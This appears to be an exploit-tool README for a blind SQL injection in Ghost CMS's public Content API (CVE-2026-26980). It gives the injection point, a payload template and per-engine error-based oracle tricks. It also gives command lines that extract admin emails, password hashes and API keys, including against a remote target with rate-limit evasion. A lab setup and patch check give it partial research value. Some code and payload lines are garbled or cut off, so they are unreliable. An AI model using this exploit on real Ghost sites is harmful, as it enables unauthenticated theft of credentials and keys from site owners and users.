Share
## https://sploitus.com/exploit?id=ED8AC01D-C112-5F2F-86B2-002DDA813E82
# CVE-2026-26980 โ Ghost CMS Content API Blind SQL Injection
**Affected:** Ghost 3.24.0 โ 6.19.0
**Fixed in:** Ghost 6.19.1
**Auth required:** None โ Content API key is public
**Impact:** Unauthenticated read of the entire database (credentials, API keys)
---
## Vulnerability
`slug-filter-order.js` interpolates user-supplied slug values directly into a raw SQL `ORDER BY` clause instead of using parameterized bindings.
```js
// VULNERABLE โ Ghost `'${s}'`).join(',');
return `CASE WHEN ${table}.slug IN (${slugList}) THEN FIELD(...) ELSE ... END ASC`;
// ^^^^^^^^^^^ raw string interpolation
// FIXED โ Ghost 6.19.1
knex.orderByRaw('CASE WHEN slug = ? THEN 0 ELSE 1 END', [slugValue]);
```
**Injection point:**
```
GET /ghost/api/content/posts/?key=&filter=slug:[,]
```
**Payload template:**
```
slug:['||||',]
```
---
## Oracle
The injected expression acts as an error-based boolean oracle.
| Engine | TRUE | FALSE |
|--------|------|-------|
| SQLite | `hex(randomblob(10^15))` โ OOM โ **HTTP 500** | `ELSE 0` โ **HTTP 200** |
| MySQL | `THEN 0` โ **HTTP 200** | `EXP(710)` overflow โ **HTTP 500** |
**NQL constraints** โ the SQL expression inside the brackets must not contain single quotes (`'`) or commas (`,`):
| Problem | SQLite solution | MySQL solution |
|---------|----------------|----------------|
| String literal `'content'` | `CHAR(99)\|\|CHAR(111)\|\|...` | `0x636F6E74656E74` |
| Character at position N | Prefix-based string comparison | `ASCII(SUBSTR(x FROM N FOR 1))` |
> `||` is string concatenation in SQLite but logical OR in MySQL โ string literals must be encoded differently per engine.
---
## Usage
```
python3 exploit/exploit.py --url URL --key KEY [--slug SLUG] [data flags] [options]
Required:
--url URL Ghost base URL (e.g. http://localhost:2368)
--key KEY Content API key
Optional:
--slug SLUG Anchor slug (auto-discovered from API if omitted)
--dbms {auto,sqlite,mysql} DB engine (default: auto-detect)
--delay N Seconds between requests โ use to avoid HTTP 429 (default: 0)
--proxy URL HTTP proxy (e.g. http://127.0.0.1:8080) (default: none)
--validate-fix Test if the target is patched, then exit
Data flags (at least one required):
--email User email(s)
--hash User bcrypt hash(es)
--content-key Content API key(s)
--admin-key Admin API key(s)
--all Shorthand for --email --hash --content-key --admin-key
Modifier:
--all-records Extract ALL records for the selected flag(s) instead of first only
```
### Examples
```bash
# Extract first admin email + hash (no proxy)
python3 exploit/exploit.py \
--url http://localhost:2368 \
--key \
--email --hash --no-proxy
# Extract everything, first record each
python3 exploit/exploit.py \
--url http://localhost:2368 \
--key \
--all --no-proxy
# Extract all Content API keys
python3 exploit/exploit.py \
--url http://localhost:2368 \
--key \
--content-key --all-records
# Extract ALL records of ALL data types
python3 exploit/exploit.py \
--url http://localhost:2368 \
--key \
--all --all-records
# Route through Burp proxy
python3 exploit/exploit.py \
--url http://localhost:2368 \
--key \
--all --proxy http://127.0.0.1:8080
# Force MySQL engine, add delay to avoid rate limiting
python3 exploit/exploit.py \
--url http://target.com \
--key \
--all --dbms mysql --delay 0.5
# Verify the patched version is not exploitable
python3 exploit/exploit.py \
--url http://localhost:2369 \
--key \
--validate-fix
```
### Rate limiting (HTTP 429)
Ghost rate-limits Content API requests by default. Options:
1. Pass `--delay 0.5` to add a delay between requests
2. Set `API_RATE_LIMIT_ENABLED: "false"` in the docker-compose environment and restart
---
## References
- Ghost Security Advisory: [GHSA-w52v-v783-gw97](https://github.com/TryGhost/Ghost/security/advisories/GHSA-w52v-v783-gw97)
- NVD: [CVE-2026-26980](https://nvd.nist.gov/vuln/detail/CVE-2026-26980)
- Fix diff: `slug-filter-order.js` in Ghost `6.18.0` โ `6.19.1`
---
## Lab Setup
> For reference only โ skip if you already have a vulnerable Ghost instance.
### Requirements
- Docker + Docker Compose
- Python 3.9+ with `pip install requests`
### Directory structure
```
ghost-cve-2026-26980/
โโโ mysql_docker-compose.yml # Ghost + MySQL 8.0
โโโ sqlite_docker-compose.yml # Ghost + SQLite (default)
โโโ mysql-init/
โ โโโ 01-init.sql # creates ghost_patch DB, grants access
โโโ vulnerable/
โ โโโ Dockerfile # Ghost 6.18.0
โโโ patched/
โ โโโ Dockerfile # Ghost 6.19.1
โโโ exploit/
โโโ exploit.py
```
Both compose files expose:
- `http://localhost:2368` โ vulnerable (Ghost 6.18.0)
- `http://localhost:2369` โ patched (Ghost 6.19.1)
### Start with SQLite
```bash
docker compose -f sqlite_docker-compose.yml up -d
```
### Start with MySQL
```bash
docker compose -f mysql_docker-compose.yml up -d
```
MySQL credentials: `host=localhost:3306 user=ghost password=ghostpass`
Databases: `ghost_vuln` (port 2368) / `ghost_patch` (port 2369)
### First-run setup
Wait ~60 s for Ghost to initialize, then:
1. Go to `http://localhost:2368/ghost` โ create an admin account and publish at least one post
2. Copy the **Content API key** from Ghost Admin โ Settings โ Integrations
### Reset the lab
```bash
# SQLite
docker compose -f sqlite_docker-compose.yml down -v
docker compose -f sqlite_docker-compose.yml up -d
# MySQL
docker compose -f mysql_docker-compose.yml down -v
docker compose -f mysql_docker-compose.yml up -d
```